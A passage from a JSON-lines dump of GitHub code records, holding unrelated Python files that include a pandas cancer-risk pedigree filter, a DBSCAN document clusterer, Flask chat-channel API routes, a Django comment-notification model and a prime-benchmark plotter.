print('KEYING - OPEN KEYING PORT: Unknown rig type:',sock.rig_type,sock.rig_type2)\n sys.exit(0)\n \n else:\n print('### Unable to open serial port to rig ###')\n ser=serial_dummy()\n\n return ser\n\n \n","repo_name":"aa2il/pyKeyer","sub_path":"keying.py","file_name":"keying.py","file_ext":"py","file_size_in_byte":5679,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"15908409160","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Sep 7 12:22:13 2018\n\n@author: Lipika Sharma\n\"\"\"\n\nimport pandas as pd \n\ndata_v4=[]\nwith open('combined.txt','r') as f:\n next(f)\n for line in f:\n data_v4.append(line.split())\ncolumns_v4=['FamID','SessionNum','CalNum','Name','IndivID','Version',\n 'Age','BrCaRisk','BrCaRisk%','OvCaRisk','OvCaRisk%']\ndata_v4=pd.DataFrame(data_v4,columns=columns_v4)\ndata_v4=data_v4[columns_v4]\n\nout_data_v4=data_v4[['FamID','IndivID','Version','Age','BrCaRisk%','OvCaRisk%']]\n#del line\nabc=out_data_v4.loc[(out_data_v4['Age']>'70')]\nabcd=out_data_v4.loc[(out_data_v4['Age']>'70') & (out_data_v4['BrCaRisk%']<'1.0') ]\n\nlmn=out_data_v4.loc[(out_data_v4['Age']>'70')&(out_data_v4['BrCaRisk%']<'1.0'),'FamID']\nlmn = lmn.to_frame().reset_index()\n\n\nlow_risk=all_data[all_data['FamID'].isin(map(str,lmn['FamID']))]\ngene=low_risk.loc[(low_risk['Target']==1)]\n\ntargets = low_risk.loc[low_risk['Target']==1, ('IndivID')]\ntar_mom = low_risk.loc[low_risk['Target']==1, ('MothID')]\ntar_fath = low_risk.loc[low_risk['Target']==1, ('FathID')]\n\nmothers = low_risk.loc[(low_risk['Target']==1) & \n (low_risk['IndivID'].isin(low_risk['MothID'])), 'IndivID']\n\nmothers = mothers.to_frame().reset_index()\nmothers=mothers.rename({'IndivID':'MothID'}, axis='columns')\n\nchild=low_risk[low_risk['MothID'].isin(map(str,mothers['MothID']))]\nall_child=child['IndivID']\n\n\nsibling=low_risk[low_risk['MothID'].isin(map(str,list(tar_mom)))]\nsibling = sibling.drop(sibling[sibling.MothID == 0].index)\nall_sib=sibling['IndivID']\n\n\nmerge=pd.concat([targets,tar_mom,tar_fath, all_child,all_sib], axis=0)\nmerge=merge.rename(\"IndivID\")\n\nfir_deg_ped=low_risk[low_risk['IndivID'].isin(map(str,list(merge)))]\nwriter= pd.ExcelWriter('lower_risks.xlsx')\nfir_deg_ped.to_excel(writer,'Sheet1')\nwriter.save()\n","repo_name":"Lipika16/Data_Wrangling","sub_path":"analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":1831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71143766002","text":"class etudiant :\r\n def __init__(self, nom, prenom, age, cne, moyenne):\r\n self.nom = nom\r\n self.prenom = prenom\r\n self.age = age\r\n self.cne = cne\r\n self.moyenne = moyenne\r\n #list de type etudiant \r\netudiant = [\r\n{'nom' : 'hbibiali','prenom' : 'hajar', 'age': 20,'cne': 158623, 'moyenne': 8},\r\n{'nom' : 'miyaz','prenom' : 'nozha', 'age': 24,'cne': 25551443, 'moyenne': 20},\r\n{'nom': 'lotfi','prenom' : 'iyad', 'age': 18,'cne': 225548322, 'moyenne': 12},\r\n{'nom' : 'chelle','prenom' : 'zakaria ', 'age': 40,'cne': 1334342223, 'moyenne': 19},\r\n]\r\n\r\n#trie par age\r\netudiant.sort(key=lambda x: x.get('age'))\r\nprint(etudiant)\r\n#trie par moyenne\r\netudiant.sort(key=lambda x: x.get('moyenne'))\r\nprint(etudiant)\r\n\r\n","repo_name":"hajar-hbibiali/Atelier5-phython-poo","sub_path":"partie2-python.py","file_name":"partie2-python.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9142991762","text":"from BVFT import BVFT\nimport pickle, random, time\nimport numpy as np\nfrom os import listdir\nfrom os.path import isfile, join\nimport matplotlib.pyplot as plt\nfrom BvftUtil import *\nfrom keras.models import Model, load_model\nimport tensorflow as tf\n\n\nclass BVFTExperiment(object):\n def __init__(self, folder_name):\n self.folder_name = folder_name\n self.PATH = F\"data/{folder_name}/\"\n self.dir_path = os.path.dirname(os.path.realpath(__file__))\n self.TOP_Q_FLOOR = None\n self.NORMAL_Q_CEILING = None\n self.NORMAL_Q_FLOOR = None\n self.model_keywords = None\n self.data_keywords = None\n self.data_sizes = None\n self.GAMMA = None\n self.RMAX = None\n self.RMIN = None\n self.bins = [2, 3, 4, 8, 16, 32, 64, 128, 256, 512, 1024, 1e5]\n\n\n def get_file_names(self, keywords, path=None):\n # get baselines and dataset\n if path is None:\n path = self.PATH\n files = [f for f in listdir(path) if isfile(join(path, f))]\n results = []\n\n for file in files:\n match = True\n for keyword in keywords:\n if keyword not in file:\n match = False\n break\n if match:\n results.append(file)\n if len(results) == 0:\n print(F'Found 0 files with keywords: {\" \".join(keywords)}')\n return results\n\n def get_records(self, files, folder=\"\"):\n records = []\n for f in files:\n file = open(self.dir_path + \"/data/bvft/\" + folder + f, \"rb\")\n records += pickle.load(file)\n file.close()\n return records\n\n def get_all_model_values(self, files):\n return [float(f.split(\"_\")[-1][:-3]) for f in files]\n\n def get_models(self, files, n=10, top_q_count=2, model_gap=20.0):\n random.shuffle(files)\n model_values = [float(f.split(\"_\")[-1][:-3]) for f in files]\n selected_model_names = []\n selected_model_values = []\n selected_model_functions = []\n\n for i, v in enumerate(model_values):\n if v >= self.TOP_Q_FLOOR:\n selected_model_names.append(files[i])\n selected_model_values.append(v)\n selected_model_functions.append(load_model(self.PATH + files[i]))\n if len(selected_model_names) == top_q_count:\n break\n for i, v in enumerate(model_values):\n if self.NORMAL_Q_FLOOR < v <= self.NORMAL_Q_CEILING:\n skip = False\n for v1 in selected_model_values:\n if abs(v1 - v) < model_gap:\n skip = True\n break\n if skip:\n continue\n selected_model_names.append(files[i])\n selected_model_values.append(v)\n selected_model_functions.append(load_model(self.PATH + files[i]))\n if len(selected_model_names) == n:\n break\n if len(selected_model_names) < n:\n print(\"NOT ENOUGH MODEL!\")\n return selected_model_functions, selected_model_values, selected_model_names\n\n def get_data(self, files, size=0):\n data = []\n if size > 0:\n random.shuffle(files)\n for file in files:\n outfile = open(self.PATH + file, \"rb\")\n data += pickle.load(outfile)\n outfile.close()\n if 0 < size < len(data):\n break\n return data\n\n def experiment2(self, num_model, data_size, num_runs, data_explore_rate, resolutions):\n model_names = self.get_file_names(self.model_keywords)\n records = []\n k = np.random.randint(1e6)\n t = time.time()\n for run in range(num_runs):\n q_functions, values, q_names = self.get_models(model_names, n=num_model)\n data_names = self.get_file_names([\"DATA\", str(data_explore_rate)])\n dataset = self.get_data(data_names, size=max(self.data_sizes))\n data_start = np.random.randint(len(dataset) - data_size)\n data = dataset[data_start:data_start + data_size]\n record = BvftRecord(data_size=data_size, gamma=self.GAMMA, data_explore_rate=data_explore_rate,\n model_count=num_model)\n record.model_values = values\n # record.q_star_diff = q_star_diff\n record.q_names = q_names\n bvft = BVFT(q_functions, data, self.GAMMA, self.RMAX, self.RMIN, record, bins=self.bins, tabular=False)\n\n for i, res in enumerate(resolutions):\n bvft.run(resolution=res)\n bvft.get_br_ranking()\n records.append(record)\n if run > 0 and run % 10 == 0:\n outfile = open(self.dir_path + F'/data/bvft/{self.folder_name}_records_{k}', \"wb\")\n pickle.dump(records, outfile)\n outfile.close()\n print(F'run {run}, saved {self.folder_name}_records_{k}, {(time.time() - t) / 60} minutes')\n t = time.time()\n outfile = open(self.dir_path + F'/data/bvft/{self.folder_name}_records_{k}', \"wb\")\n pickle.dump(records, outfile)\n outfile.close()","repo_name":"jasonzhang929/BVFT_empirical_experiments","sub_path":"Experiment_Util.py","file_name":"Experiment_Util.py","file_ext":"py","file_size_in_byte":5253,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"75"} +{"seq_id":"3226401325","text":"import os\nfrom typing import List,Dict,Tuple\nimport sys\nimport matplotlib.pyplot as plt\nfrom zipfile import ZipFile\nfrom datetime import timedelta\nimport math\ndef get_all_benchmark_files(pattern:str)->List[str]:\n return [obj for obj in os.listdir(None) if obj.startswith(pattern)]\n\ndef unzip(path:str):\n with ZipFile(path) as zfile:\n zfile.extractall()\n\ndef get_primes(file:str)->set:\n with open(file) as file_o:\n data = file_o.readlines()\n return {i.split(\",\")[0] for i in data}\n\ndef load_primes(file:str,skip_header=False)->Dict[str,Tuple[str,str]]:\n primes = {}\n with open(file) as prime_file:\n data = prime_file.readlines()\n if skip_header:\n data=data[1:]\n for i in data:\n n_prime, prime, time = i.split(\",\")\n primes[int(n_prime)]=(int(prime),float(time.strip()))\n return primes\n\ndef add_table_readme_content(metrics:List[Tuple[str,int,float]])->str:\n content = \"\"\"# RUST v/s PYTHON\n\nBenchmark graph that compares speed of Pythona and Rust by generating prime numbers.\n\n![Benchmark image](./output.jpg)\nNote: The above graph is autogenerated for every github action run. Tweak the parameters in workflow run to get different graph for number of primes.\n\n|Language|nth prime|time taken|\n|---|---|---|\"\"\"\n \n for m in metrics:\n content=content+f\"\\n|{m[0]}|{m[1]}|{round(m[2]/1000000000,3)}s|\"\n return content\n\ndef main():\n benchmark_lang = sys.argv[1] if len(sys.argv)>1 else None\n benchmark_pattern = \"benchmark_\"\n unzip(\"./1m.csv.zip\")\n benchmark_files = (benchmark_lang and [f\"{benchmark_pattern}{benchmark_lang}\"]) or get_all_benchmark_files(benchmark_pattern)\n one_m_primes = load_primes(\"./1m.csv\",skip_header=True)\n plt.figure(figsize=(15,8))\n n_th_prime_time = []\n for file in benchmark_files:\n is_valid=True\n lang = file.replace(benchmark_pattern,'')\n print(f\"Validating {lang}\")\n b_primes = load_primes(file)\n b_primes_items = list(b_primes.items())\n for n_prime, prime_time in b_primes_items:\n one_m_prime_val = one_m_primes.get(n_prime)\n if not one_m_prime_val:\n print(\"Only first one million primes can be validated. Skipping the file.\")\n break\n if prime_time[0]!=one_m_prime_val[0]:\n print(f\"{n_prime}th prime should be {one_m_prime_val[0]} but got {prime_time[0]}.\")\n break\n if not is_valid:\n print(\"Not OK \\n\")\n continue\n print(\"OK \\n\")\n \n n_th_prime_time.append((lang, b_primes_items[-1][0],b_primes_items[-1][1][1]))\n X = list(map(lambda x: x[0],b_primes_items))\n Y = list(map(lambda x: math.log10(x[1][1])\n ,b_primes_items))\n plt.xticks(rotation = 25)\n plt.ylabel(\"Time(ns) is log scaled. Consider 10^x for actual time(ns) taken.\")\n plt.xlabel(\"No: of Primes generated\")\n plt.plot(X,Y,label=lang)\n\n readme_content = add_table_readme_content(n_th_prime_time)\n with open(\"README.md\",\"w\") as file:\n file.write(readme_content)\n\n plt.legend()\n plt.savefig(\"output.jpg\")\n\n\n\n \nif __name__==\"__main__\":\n main()","repo_name":"akhildevelops/prime_n_comparision","sub_path":"valid.py","file_name":"valid.py","file_ext":"py","file_size_in_byte":3210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5247269198","text":"from django.db import models\nfrom post.models import Post\nfrom django.contrib.auth.models import User\nfrom django.db.models.signals import post_save, post_delete\nfrom notifications.models import notification\n\nclass Comment(models.Model):\n post = models.ForeignKey(Post, on_delete=models.CASCADE, related_name='comments')\n user= models.ForeignKey(User, on_delete=models.CASCADE)\n body = models.TextField()\n date = models.DateTimeField(auto_now_add=True)\n\n def comment_notification(sender, instance, *args, **kwargs):\n comment = instance\n post = comment.post\n text_preview = comment.body[:90]\n sender = comment.user\n notify = notification(post = post, sender=sender, user=post.user, notification_type=2, text_preview=text_preview)\n notify.save()\n\n def delete_comment_notification(sender, instance, *args, **kwargs):\n comment = instance\n post = comment.post\n sender = comment.post\n\n notify = notification.objects.filter(post=post, sender=sender, notification_type=2, user=post.user)\n notify.delete()\n\npost_save.connect(Comment.comment_notification, sender = Comment)\npost_delete.connect(Comment.delete_comment_notification, sender = Comment)","repo_name":"goelprateek5/instagram_clone","sub_path":"instagram_clone/comment/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"28670955374","text":"import pytest\nimport sys\nsys.path.append(\"..\")\nfrom src.find_1st_match_val import first_match\n\n\ndef test_find_match_has_a_match():\n a = [1, 2, 3]\n b = [3, 4, 5]\n index, value = first_match(a, b)\n assert index > -1, \"No matches\"\n\n\ndef test_find_match_has_no_match():\n a = [1, 2, 3]\n b = [7, 8, 9]\n index, value = first_match(a, b)\n assert index == -1, \"No matches\"\n","repo_name":"MahmoudIMahmoud/wall-box-assignment","sub_path":"tests/test_find_match_val.py","file_name":"test_find_match_val.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"33384828063","text":"from flask import Blueprint, jsonify, request\nfrom flask_login import login_required, current_user\nfrom app.models import Channel, User\nfrom app.models.message import Message\nfrom app.models.db import db\nfrom app.forms import ChannelForm\nfrom .validation_to_error_formatter import validation_errors_to_error_messages\n\nchannel_routes = Blueprint('channels', __name__)\n\n@channel_routes.route('/<int:channel_id>', methods=['GET'])\n@login_required\ndef get_channel(channel_id):\n \"\"\"\n Returns the details of a channel specified by its id.\n \"\"\"\n channel = Channel.query.get(channel_id)\n if channel is None:\n return jsonify({'message': \"Channel couldn't be found\", 'statusCode': 404}), 404\n\n members = [user.to_dict() for user in channel.members]\n messages = [message.to_dict() for message in channel.messages]\n\n return jsonify({\n 'Channel': {\n 'id': channel.id,\n 'name': channel.name,\n 'server': channel.server.to_dict(),\n 'type': channel.type,\n 'is_private': channel.is_private,\n 'Members': members,\n 'Messages': messages\n }\n })\n\n\n@channel_routes.route(\"/<int:channel_id>\", methods=[\"PUT\"])\n@login_required\ndef update_channel(channel_id):\n \"\"\"\n Updates and returns an existing channel.\n \"\"\"\n channel = Channel.query.get(channel_id)\n print(channel)\n if channel is None:\n return jsonify({'message': \"Channel couldn't be found\", 'statusCode': 404}), 404\n\n # check if the user is authorized\n if not current_user.id == channel.server.owner_id:\n return jsonify({'message': 'Unauthorized', 'statusCode': 401}), 401\n\n # # get json data from request\n # data = request.get_json()\n # name = data.get(\"name\")\n # type = data.get(\"type\")\n # is_private = data.get(\"is_private\")\n print(\"we're here-------\")\n # # Perform validation on the data, MOVE TO WTF FORMS LATER\n # errors = []\n # if not name:\n # errors.append(\"Channel Name is required\")\n # elif len(name) < 1 or len(name) > 100:\n # errors.append(\"Name must be between 1 and 100 in length\")\n\n # if errors:\n # return jsonify({\"message\": \"Validation Error\", \"statusCode\": 400, \"errors\": errors}), 400\n print(channel.type)\n form = ChannelForm()\n form['csrf_token'].data = request.cookies['csrf_token']\n if form.validate_on_submit():\n channel.name = form.data['name']\n channel.type = channel.type\n # channel.is_private = form.data['is_private']\n db.session.commit()\n return channel.to_dict(), 201\n return {'errors': validation_errors_to_error_messages(form.errors)}, 400\n\n # # update the channel\n # channel.name = name\n # channel.type = type\n # channel.is_private = is_private\n # db.session.commit()\n\n # return jsonify({'Channel': channel.to_dict()}), 200\n\n\n@channel_routes.route(\"/<int:channel_id>\", methods=[\"DELETE\"])\n@login_required\ndef delete_channel(channel_id):\n \"\"\"\n Delete a channel\n \"\"\"\n channel = Channel.query.get(channel_id)\n if channel is None:\n return jsonify({'message': \"Channel couldn't be found\", 'statusCode': 404}), 404\n\n # check if the user is authorized\n if not current_user.id == channel.server.owner_id:\n return jsonify({'message': 'Unauthorized', 'statusCode': 401}), 401\n\n db.session.delete(channel)\n db.session.commit()\n return jsonify({'message': \"Successfully deleted\", 'statusCode': 200}), 200\n\n\n@channel_routes.route('/<int:channel_id>/members')\n@login_required\ndef get_channel_members(channel_id):\n \"\"\"\n Get all Members of the Current Channel\n \"\"\"\n # Get the channel to ensure the user is a member and the channel exists\n channel = Channel.query.get(channel_id)\n if channel is None:\n return jsonify({'message': \"Channel couldn't be found\", 'statusCode': 404}), 404\n\n # Make sure user is a member of the channel\n if current_user not in channel.members:\n return jsonify({'message': \"You are not a member of this channel\", 'statusCode': 403}), 403\n\n # Get the members for the channel\n members = [user.to_dict() for user in channel.members]\n\n return jsonify({'Members': members})\n\n\n@channel_routes.route('/<int:channel_id>/members', methods=['POST'])\n@login_required\ndef add_channel_member(channel_id):\n \"\"\"\n Add a Member to the Current Channel\n \"\"\"\n # Get the channel to ensure the user is a member and the channel exists\n channel = Channel.query.get(channel_id)\n if channel is None:\n return jsonify({'message': \"Channel couldn't be found\", 'statusCode': 404}), 404\n\n # Make sure user is not already a member of the channel\n if current_user in channel.members:\n return jsonify({'message': \"You are already a member of this channel\", 'statusCode': 403}), 403\n\n # Check if the user is authorized to add members to the channel\n if channel.server.owner_id != current_user.id:\n return jsonify({'message': \"Unauthorized\", 'statusCode': 401}), 401\n\n\n # Get the user id from the request body\n data = request.get_json()\n user_id = data.get('user_id')\n\n # Get the user to add to the channel\n user = User.query.get(user_id)\n if user is None:\n return jsonify({'message': \"User couldn't be found\", 'statusCode': 404}), 404\n\n # Add the user to the channel\n channel.members.append(user)\n db.session.commit()\n\n return jsonify({'message': \"Successfully added user to channel\", 'statusCode': 200}), 200\n\n\n@channel_routes.route('/<int:channel_id>/members/<int:user_id>', methods=['DELETE'])\n@login_required\ndef remove_channel_member(channel_id, user_id):\n \"\"\"\n Remove a Member from the Current Channel\n \"\"\"\n # Get the channel to ensure the user is a member and the channel exists\n channel = Channel.query.get(channel_id)\n if channel is None:\n return jsonify({'message': \"Channel couldn't be found\", 'statusCode': 404}), 404\n\n # Make sure user is a member of the channel\n if current_user not in channel.members:\n return jsonify({'message': \"You are not a member of this channel\", 'statusCode': 403}), 403\n\n # Check if the user is authorized to remove members from the channel\n if channel.server.owner_id != current_user.id:\n return jsonify({'message': \"Unauthorized\", 'statusCode': 401}), 401\n\n # Get the user to remove from the channel\n user = User.query.get(user_id)\n if user is None:\n return jsonify({'message': \"User couldn't be found\", 'statusCode': 404}), 404\n\n # Remove the user from the channel\n channel.members.remove(user)\n db.session.commit()\n\n return jsonify({'message': \"Successfully removed user from channel\", 'statusCode': 200}), 200\n\n\n@channel_routes.route('/<int:channel_id>/messages')\n@login_required\ndef get_channel_messages(channel_id):\n \"\"\"\n Get all Messages the Current Channel that Current User is a member\n \"\"\"\n # Get query parameters for pagination\n # page = request.args.get('page', 1, type=int)\n # per_page = request.args.get('per_page', 20, type=int)\n\n # Get the channel to ensure the user is a member and the channel exists\n channel = Channel.query.get(channel_id)\n if channel is None:\n return jsonify({'message': \"Channel couldn't be found\", 'statusCode': 404}), 404\n\n # Make sure user is a member of the channel\n if current_user not in channel.members:\n return jsonify({'message': \"You are not a member of this channel\", 'statusCode': 403}), 403\n\n # Get the messages for the channel\n # messages = Message.query.filter(Message.channel_id == channel_id).paginate(page, per_page, False)\n messages = Message.query.filter(Message.channel_id == channel_id).all()\n\n # return jsonify({'Messages': [message.to_dict() for message in messages.items]})\n return jsonify({'Messages': [message.to_dict() for message in messages]})\n","repo_name":"Me-legna/Whiskord","sub_path":"app/api/channel_routes.py","file_name":"channel_routes.py","file_ext":"py","file_size_in_byte":7893,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"6225856226","text":"import numpy as np\nimport scipy.sparse\nimport distances\n\nclass DBSCAN(object):\n \"\"\"\n Clusters documents together based on a term document matrix. Calling the\n scan methdo will store the results of the clustering in the .labels\n attribute. For more information see: http://bit.ly/1rtAMVx\n \n Parameters\n ---------\n term_doc_matrix : scipy.sparse or numpy array\n matrix that contains your term document matrix, typically output from\n bag_of_words.\n epsilon : float\n the threshold for which documents are considered similar. 1 will only\n match a document to itself, 0 will match all documents.\n minpts : integer\n minimum number of points considered to be similar before a cluster\n is defined.\n distance : ['in_memory', 'ooc', 'by_row', 'pre_computed'], default='in_memory'\n the way that the distance should be calculated. In memory should be used\n for matrices whose product can fit in memory. Ooc uses HDF5 for disk\n backed matrix multiplication for very large matrices. By_row will \n perform the matrix multiplication as need and pre_computed is to be\n used when the distance_matrix has already been calculated.\n \"\"\"\n def __init__(self, term_doc_matrix, epsilon, minpts, distance='in_memory'):\n self.matrix = term_doc_matrix\n self.eps = epsilon\n self.minpts = minpts\n self.distance = distance\n self.cluster_num = 0\n self.labels = np.zeros(term_doc_matrix.shape[0])\n self.unvisited = range(term_doc_matrix.shape[0])\n\n def _get_distances(self, row=0):\n if self.distance == 'in_memory':\n distance_matrix = distances.compute_similarity(self.matrix)\n if self.distance == 'ooc':\n distance_matrix = distances.compute_ooc(self.matrix)\n if self.distance == 'by_row':\n distance_matrix = distances.compute_row(self.matrix)\n if self.distance == 'pre_computed':\n distance_matrix = self.matrix\n else:\n raise ValueError('Invalid value for distance calculation')\n return distance_matrix\n\n def scan(self):\n distance_matrix = self._get_distances()\n while self.unvisited:\n doc = self.unvisited[0]\n if self.distance == 'pairwise':\n row = self._get_distances(doc)\n else:\n row = distance_matrix[doc]\n neighbors = [index for index in xrange(len(row)) if row[index] >=\n self.eps]\n self.unvisited.remove(doc)\n if len(neighbors) >= self.minpts:\n self.cluster_num += 1\n self.labels[doc] = self.cluster_num\n self._neighbor_scan(neighbors)\n\n def _neighbor_scan(self, neighbors):\n for neighbor in neighbors:\n if neighbor not in self.unvisited:\n continue\n self.unvisited.remove(neighbor)\n self.labels[neighbor] = self.cluster_num\n if self.distance == 'pairwise':\n row = self._get_distances(neighbor)\n else:\n row = distance_matrix[neighbor]\n new_neighbors = [index for index in range(len(row))\n if row[index] >= self.eps]\n if len(new_neighbors) >= self.minpts:\n neighbors.append(new_neighbors)\n","repo_name":"grromrell/nlp_exporations","sub_path":"base_nlp/cluster.py","file_name":"cluster.py","file_ext":"py","file_size_in_byte":3382,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"38258416731","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Feb 6 10:56:57 2020\nDecode left/right block identity from all brain regions\n@author: Guido Meijer\n\"\"\"\n\nfrom os.path import join\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nfrom my_functions import paths, figure_style, get_full_region_name, get_parent_region_name\n\n# Settings\nTARGET = 'block'\nDECODER = 'bayes-multinomial'\nDATA_PATH, FIG_PATH, SAVE_PATH = paths()\nFIG_PATH = join(FIG_PATH, 'Decoding', DECODER)\nCHANCE_LEVEL = 'pseudo-blocks'\nINCL_NEURONS = 'all' # all or no_drift\nINCL_SESSIONS = 'aligned-behavior' # all or aligned\nFULL_NAME = True\nPARENT_REGIONS = False\n\n# %% Plot\n# Load in data\nkfold = pd.read_pickle(join(SAVE_PATH, DECODER,\n ('%s_%s_%s_%s_%s_cells.p' % (TARGET, CHANCE_LEVEL, 'kfold',\n INCL_SESSIONS, INCL_NEURONS))))\nkfold_interleaved = pd.read_pickle(join(SAVE_PATH, DECODER,\n ('%s_%s_%s_%s_%s_cells.p' % (TARGET, CHANCE_LEVEL, 'kfold-interleaved',\n INCL_SESSIONS, INCL_NEURONS))))\nno_validation = pd.read_pickle(join(SAVE_PATH, DECODER,\n ('%s_%s_%s_%s_%s_cells.p' % (TARGET, CHANCE_LEVEL, 'none',\n INCL_SESSIONS, INCL_NEURONS))))\n\n# Exclude root\nkfold = kfold.reset_index(drop=True)\nincl_regions = [i for i, j in enumerate(kfold['region']) if not j.islower()]\nkfold = kfold.loc[incl_regions]\nkfold_interleaved = kfold_interleaved.reset_index(drop=True)\nincl_regions = [i for i, j in enumerate(kfold_interleaved['region']) if not j.islower()]\nkfold_interleaved = kfold_interleaved.loc[incl_regions]\nno_validation = no_validation.reset_index(drop=True)\nincl_regions = [i for i, j in enumerate(no_validation['region']) if not j.islower()]\nno_validation = no_validation.loc[incl_regions]\n\n# Get decoding performance over chance\nkfold['acc_over_chance'] = (kfold['accuracy']\n - kfold['chance_accuracy']) * 100\nkfold_interleaved['acc_over_chance'] = (kfold_interleaved['accuracy']\n - kfold_interleaved['chance_accuracy']) * 100\nno_validation['acc_over_chance'] = (no_validation['accuracy']\n - no_validation['chance_accuracy']) * 100\n\n# %%\nfigure_style(font_scale=2)\nf, (ax1, ax2, ax3, ax4) = plt.subplots(1, 4, figsize=(30, 8), dpi=150, sharey=False)\n\nax1.hist(kfold['accuracy'] * 100, histtype='step', color=sns.color_palette('colorblind')[0],\n label='5-fold continuous', lw=3)\nax1.hist(kfold_interleaved['accuracy'] * 100, histtype='step', color=sns.color_palette('colorblind')[1],\n label='5-fold interleaved', lw=3)\nax1.hist(no_validation['accuracy'] * 100, histtype='step', color=sns.color_palette('colorblind')[2],\n label='No cross-validation', lw=3)\nax1.legend(frameon=False)\nax1.set(ylabel='Recordings split up by brain region', xlabel='Decoding accuracy (%)',\n ylim=[0, 400])\n\nax2.hist(kfold['chance_accuracy'] * 100, histtype='step', color=sns.color_palette('colorblind')[0],\n label='5-fold continuous', lw=3)\nax2.hist(kfold_interleaved['chance_accuracy'] * 100, histtype='step', color=sns.color_palette('colorblind')[1],\n label='5-fold interleaved', lw=3)\nax2.hist(no_validation['chance_accuracy'] * 100, histtype='step', color=sns.color_palette('colorblind')[2],\n label='No cross-validation', lw=3)\nax2.legend(frameon=False)\nax2.set(xlabel='Decoding accuracy on pseudo blocks (%)',\n ylim=[0, 400])\n\nax3.hist(kfold['p_accuracy'], histtype='step', color=sns.color_palette('colorblind')[0],\n label='5-fold continuous', lw=3)\nax3.hist(kfold_interleaved['p_accuracy'], histtype='step', color=sns.color_palette('colorblind')[1],\n label='5-fold interleaved', lw=3)\nax3.hist(no_validation['p_accuracy'], histtype='step', color=sns.color_palette('colorblind')[2],\n label='No cross-validation', lw=3)\nax3.legend(frameon=False)\nax3.set(xlabel='p-value',\n ylim=[0, 200])\n\nax4.hist(kfold['acc_over_chance'], histtype='step', color=sns.color_palette('colorblind')[0],\n label='5-fold continuous', lw=3)\nax4.hist(kfold_interleaved['acc_over_chance'], histtype='step', color=sns.color_palette('colorblind')[1],\n label='5-fold interleaved', lw=3)\nax4.hist(no_validation['acc_over_chance'], histtype='step', color=sns.color_palette('colorblind')[2],\n label='No cross-validation', lw=3)\nax4.legend(frameon=False)\nax4.set(xlabel='Decoding improvement over chance (%)',\n ylim=[0, 400])\n\nplt.tight_layout(pad=2)\nsns.despine()\nplt.savefig(join(FIG_PATH, 'decode_compare_cross-validation'))\n\n# %%\n\nf, (ax1, ax2, ax3) = plt.subplots(1, 3, figsize=(20, 8), dpi=150, sharey=False)\nax1.scatter(kfold.groupby('region')['acc_over_chance'].mean(),\n kfold_interleaved.groupby('region')['acc_over_chance'].mean())\nax1.set(xlabel='5-fold continuous', ylabel='5-flold interleaved')\n\nax2.scatter(no_validation.groupby('region')['acc_over_chance'].mean(),\n kfold_interleaved.groupby('region')['acc_over_chance'].mean())\nax2.set(xlabel='no cross-validation', ylabel='5-flold interleaved')\n\nax3.scatter(no_validation.groupby('region')['acc_over_chance'].mean(),\n kfold.groupby('region')['acc_over_chance'].mean())\nax3.set(xlabel='no cross-validation', ylabel='5-flold continuous')\n\nplt.tight_layout()","repo_name":"guidomeijer/IBL-personal","sub_path":"Ephys/Decoding/plot_decoding_compare_cross-validation.py","file_name":"plot_decoding_compare_cross-validation.py","file_ext":"py","file_size_in_byte":5389,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"23281053564","text":"\"\"\"\n:author: Alex Necakov\n:course: CS480\n:assignment: PA1\n:due date: 9/21/21\n:description: implements bresenham line alg with linear interpolation, reuse code from line alg\nwith scan line alg for draw triangle. also basic draw rectangle\n\n\"\"\"\n\nimport os\n\nimport wx\nimport math\nimport random\nimport numpy as np\n\nfrom Buff import Buff\nfrom Point import Point\nfrom ColorType import ColorType\nfrom CanvasBase import CanvasBase\n\ntry:\n # From pip package \"Pillow\"\n from PIL import Image\nexcept Exception:\n print(\"Need to install PIL package. Pip package name is Pillow\")\n raise ImportError\n\n\nclass Sketch(CanvasBase):\n \"\"\"\n Please don't forget to override interrupt methods, otherwise NotImplementedError will throw out\n \n Class Variable Explanation:\n\n * debug(int): Define debug level for log printing\n\n * 0 for stable version, minimum log is printed\n * 1 will print general logs for lines and triangles\n * 2 will print more details and do some type checking, which might be helpful in debugging\n \n * texture(Buff): loaded texture in Buff instance\n * random_color(bool): Control flag of random color generation of point.\n * doTexture(bool): Control flag of doing texture mapping\n * doSmooth(bool): Control flag of doing smooth\n * doAA(bool): Control flag of doing anti-aliasing\n * doAAlevel(int): anti-alising super sampling level\n \n Method Instruction:\n\n * Interrupt_MouseL(R): Used to deal with mouse click interruption. Canvas will be refreshed with updated buff\n * Interrupt_Keyboard: Used to deal with key board press interruption. Use this to add new keys or new methods\n * drawPoint: method to draw a point\n * drawLine: method to draw a line\n * drawTriangle: method to draw a triangle with filling and smoothing\n \n List of methods to override the ones in CanvasBase:\n\n * Interrupt_MouseL\n * Interrupt_MouseR\n * Interrupt_Keyboard\n \n Here are some public variables in parent class you might need:\n\n * points_r: list<Point>. to store all Points from Mouse Right Button\n * points_l: list<Point>. to store all Points from Mouse Left Button\n * buff : Buff. buff of current frame. Change on it will change display on screen\n * buff_last: Buff. Last frame buffer\n \n \"\"\"\n\n debug = 0\n texture_file_path = \"./pattern.jpg\"\n texture = None\n\n # control flags\n randomColor = False\n doTexture = False\n doSmooth = False\n doAA = False\n doAAlevel = 